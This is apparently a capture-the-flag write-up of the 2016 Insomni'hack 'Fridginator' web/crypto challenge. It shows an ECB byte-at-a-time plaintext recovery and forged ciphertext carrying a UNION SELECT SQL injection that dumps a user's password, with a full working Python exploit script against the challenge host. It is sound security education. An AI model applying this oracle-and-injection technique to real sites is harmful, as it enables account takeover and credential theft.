TE: Insomni'hack 2016 Teaser - Fridginator 10k (Web/Crypto 200pts)

Disclaimer: I did not manage to solve this challenge in time. This write-up is only made possible after some help from my friends and through reading another write-up.



The landing page shows a login screen with an option to create a new account.



The very first thing one would try is raw SQL injection, by specifying strings such as ' or 1=1--. Obviously, it wasn't as easy as that since this is a 200 points challenge. So I went ahead to register an account normally and noticed something weird - why do we need to specify a description for our account?



Anyway, I entered some random string into my account description and went into the website. Here's the landing page:



The only options are: (1) search users/food, (2) add food and (3) close fridge. Closing the fridge essentially logs you out. So there is nothing interesting there. Without entering anything in the search field of food, I clicked "Search" and it seems like a blank search would return me a search result of all food from all users. I see John's yoghurt on the page but they didn't allow me to take his yoghurt.



Likewise, a blank search in the user field returned all recently registered users. One interesting thing to note, however, is the hex encoding in the URL. If I randomly delete some characters from the hex encoding in the URL, we would get an error message as such:



However, if I only substituted characters in the URL, I would get a different error message. This time, a more verbose error message appears:



The error message reads "Error : no such table: objsearch_". This gave me the impression that what I changed affected the table name in which the web app was looking for our search terms. So what if I searched for a much longer string, say a string with 100 'A's in it? With 100 'A's in the search field, I got a much longer hex encoding. So it seems like our data is somehow embedded within the hex encoding. This reminds me of block ciphers where a cipher's single-block encryption is applied repeatedly to encrypt a data size larger than one block.

To investigate this further, I checked the length of the hex encodings. When the field was left blank, the hex encoding (981f6bac0ef5b5ba69d80e07485bc8a3a090d54455e4763aa8594ffa98763ff0) was 32 bytes long. With 100 'A's, the hex encoding was 128 bytes long. Also, I noticed that there were some repetitions in the hex encoding in the latter case. Here's the hex encoding of the latter case, grouped in blocks of 16 bytes:

['ba68b06042c73c5e3644e38a9d28c299',
 'ba991f945e5569dc4085a8edd2833b6e',
 'ba991f945e5569dc4085a8edd2833b6e',
 'ba991f945e5569dc4085a8edd2833b6e',
 'ba991f945e5569dc4085a8edd2833b6e',
 'ba991f945e5569dc4085a8edd2833b6e',
 'cca145aa5ae6653627bcc3c43d2e3cf9',
 '8be921655ae11489a8d505574e21a6a3']

There seems to be some repetition in the middle. This is a strong indication that our block cipher employs Electronic Codebook (ECB) as its mode of operation, where each block is encrypted separately (i.e. identical plaintexts in different blocks would result in identical blocks of ciphertexts).



However, if that is the case, then why is the hash slightly different in the first and last 2 blocks? To investigate this, I wrote a short script to check the number of blocks for each length of input from 1 - 100. Here are the results:

Length: 0, Blocks: 2
Length: 1, Blocks: 2
[ ... ]
Length: 12, Blocks: 2
Length: 13, Blocks: 2
Length: 14, Blocks: 2
Length: 15, Blocks: 3
Length: 16, Blocks: 3
Length: 17, Blocks: 3
[ ... ]
Length: 27, Blocks: 3
Length: 28, Blocks: 3
Length: 29, Blocks: 3
Length: 30, Blocks: 3
Length: 31, Blocks: 4
Length: 32, Blocks: 4
Length: 33, Blocks: 4
[ ... ]
Length: 43, Blocks: 4
Length: 44, Blocks: 4
Length: 45, Blocks: 4
Length: 46, Blocks: 4
Length: 47, Blocks: 5
Length: 48, Blocks: 5

I terminated the script early since there was a clear trend. Every extra 16 characters (from base length of 14) resulted in an extra block. However, this begs the question - why is the size of the hex encoding always larger than the size of of our search terms? Combined with my earlier observations that (1) substituting a character in the hex encoding changes the table name in which the web app searches in and (2) only the first and last 2 blocks are not uniform, I come to the conclusion that the website is prepending and appending something to our search terms, and this something likely includes the table name "user". To determine how much data is prepended and appended to our search terms, I wrote the following script:


for i in range(16):
     print get_chunked_user_cipher("A"*(30-i) + "B"*i), i

And these were the results:
['ba68b06042c73c5e3644e38a9d28c299', 'ba991f945e5569dc4085a8edd2833b6e', '045b3ed3b49b0e1f1b84300d39e6c3b6'] 0
['ba68b06042c73c5e3644e38a9d28c299', 'ba991f945e5569dc4085a8edd2833b6e', 'bf52636350712801444d65a37f343099'] 1
['ba68b06042c73c5e3644e38a9d28c299', 'ba991f945e5569dc4085a8edd2833b6e', '2b107397e59d2a5192b629cdb3acf48a'] 2
['ba68b06042c73c5e3644e38a9d28c299', 'ba991f945e5569dc4085a8edd2833b6e', '5293eb050e4cb20a56657271ec293391'] 3
['ba68b06042c73c5e3644e38a9d28c299', 'ba991f945e5569dc4085a8edd2833b6e', 'b6e3ea597e3079d276d36b6f51b0526b'] 4
['ba68b06042c73c5e3644e38a9d28c299', 'ba991f945e5569dc4085a8edd2833b6e', 'b7aaee82f979446e2add5c18323a0cda'] 5
['ba68b06042c73c5e3644e38a9d28c299', '89477ea9bf46202238b0e3ae9f28d302', 'b7aaee82f979446e2add5c18323a0cda'] 6
['ba68b06042c73c5e3644e38a9d28c299', '911054c1b592b762b50e5b2f70ab5a29', 'b7aaee82f979446e2add5c18323a0cda'] 7
['ba68b06042c73c5e3644e38a9d28c299', 'bf0f0105520cc40baba879429b740c10', 'b7aaee82f979446e2add5c18323a0cda'] 8

It is evident that the last block of cipher stopped changing when the value of i reaches 5. This means that 5 characters of our search term are in the last block. What this also means is that our search term is appended with 11 bytes of data (likely a table name). Doing the reverse, I found that our search term is prepended with 7 bytes of data. That's a total of 18 bytes. The word "user" is only of length 4 So what could likely be in that 18 bytes? To determine that, we do a little bruteforcing. This is what the the plaintext looks like before encryption (with 30 bytes of data):

['xxxxxxxAAAAAAAAA', 'AAAAAAAAAAAAAAAA', 'AAAAAxxxxxxxxxxx']

If we shrink our search term by 6 characters, we will get the following:

['xxxxxxxAAAAAAAAA', 'AAAAAAAAAAAAAAAx', 'xxxxxxxxxx']

Then, we can bruteforce the last character in the middle block. We can repeat this by reducing the number of 'A' characters until we decrypt the entire data at the back.

Here's the code to do this:


def bruteforce(search_term, matching_cipher):
    pad = "A"*9
    for c in string.printable:
        guess = pad + search_term + c
        if get_chunked_user_cipher(guess)[1] == matching_cipher:
            return c
    for i in range(128):
        if chr(i) in string.printable:
            continue
        guess = pad + search_term + chr(i)
        if get_chunked_user_cipher(guess)[1] == matching_cipher:
            return chr(i)

def bruteforce_back():
    pad = "A"*24
    known = ""
    for i in range(11):
        search_term = pad
        print "Current search term:", search_term
        cipher = get_chunked_user_cipher(search_term)
        matching_cipher = cipher[1]
        print "cipher to match:", matching_cipher
        matching_char = bruteforce(search_term[9:] + known, matching_cipher)
        print "Found character:", matching_char
        known += matching_char
        print "Known text:", known
        pad = pad[:-1:]
    print known


After some time, I found that what's appended at the back of our data is this string: "|type=user\x01". Well, my guess was right - it does contain the table name "user". The "\x01" at the back seems to resemble something from the PKCS7 padding scheme. Now, we're left with injecting SQL commands behind this table name in order to reveal the password of John.

After several tries, I found that this query gives me what I want:

"union select 1,username,password,4,5 from objsearch_user where username=\'John\' union select 1,2,3,4,5 from objsearch_user"

John's password is given to us in plaintext - "SuperDuperPasswordOfTheYear!!!". And we login to steal his yoghurt :P

Here's my script in entirety:


import requests
import string

sessionid = "removed for security purposes"
csrfmiddlewaretoken = "removed for security purposes"

cookies = {"sessionid": sessionid, "csrftoken": csrfmiddlewaretoken}

def chunk(data, size):
    return [data[i:i+size:] for i in range(0, len(data), size)]

def get_search(cipher):
    return requests.get("http://fridge.insomnihack.ch/search/" + cipher, cookies=cookies)

def search_users(string):
    return requests.post("http://fridge.insomnihack.ch/users/", {"term":string, "csrfmiddlewaretoken": csrfmiddlewaretoken}, cookies=cookies)

def get_url(resp):
    return str(resp.url)

def get_cipher(url):
    return url.split("/")[-2]

def get_user_cipher(user):
    resp = search_users(user)
    url = get_url(resp)
    return get_cipher(url)

def get_chunked_user_cipher(user):
    return chunk(get_user_cipher(user), 32)

def bruteforce(search_term, matching_cipher):
    pad = "A"*9
    for c in string.printable:
        guess = pad + search_term + c
        if get_chunked_user_cipher(guess)[1] == matching_cipher:
            return c
    for i in range(128):
        if chr(i) in string.printable:
            continue
        guess = pad + search_term + chr(i)
        if get_chunked_user_cipher(guess)[1] == matching_cipher:
            return chr(i)

def bruteforce_back():
    pad = "A"*24
    known = ""
    for i in range(11):
        search_term = pad
        print "Current search term:", search_term
        cipher = get_chunked_user_cipher(search_term)
        matching_cipher = cipher[1]
        print "cipher to match:", matching_cipher
        matching_char = bruteforce(search_term[9:] + known, matching_cipher)
        print "Found character:", matching_char
        known += matching_char
        print "Known text:", known
        pad = pad[:-1:]
    print known

def pad(string):
    pad_length = 16 - len(string)%16
    padding = chr(pad_length)
    return string + (padding * pad_length)

def get_query_cipher(payload):
    prefix = "A"*9
    return "".join(get_chunked_user_cipher(prefix + payload)[1:-1:])

def inject(query):
    cipher = get_query_cipher(pad("|type=user " + query))
    front = get_chunked_user_cipher("A"*9)[0]
    html = get_search(front + cipher).text
    f = open("page.html", "w")
    f.write(html)
    f.close()
    print html



Moral of the Story:

Even though you might be using a seemingly secure framework (like Django in this case), a programmer mistake might still leave your website vulnerable to attacks. Either make sure your programmers are security-conscious or make sure that their code are audited by an appropriate party. The best is of course to do both :)

Also, where possible, avoid the ECB mode of encryption.

Comments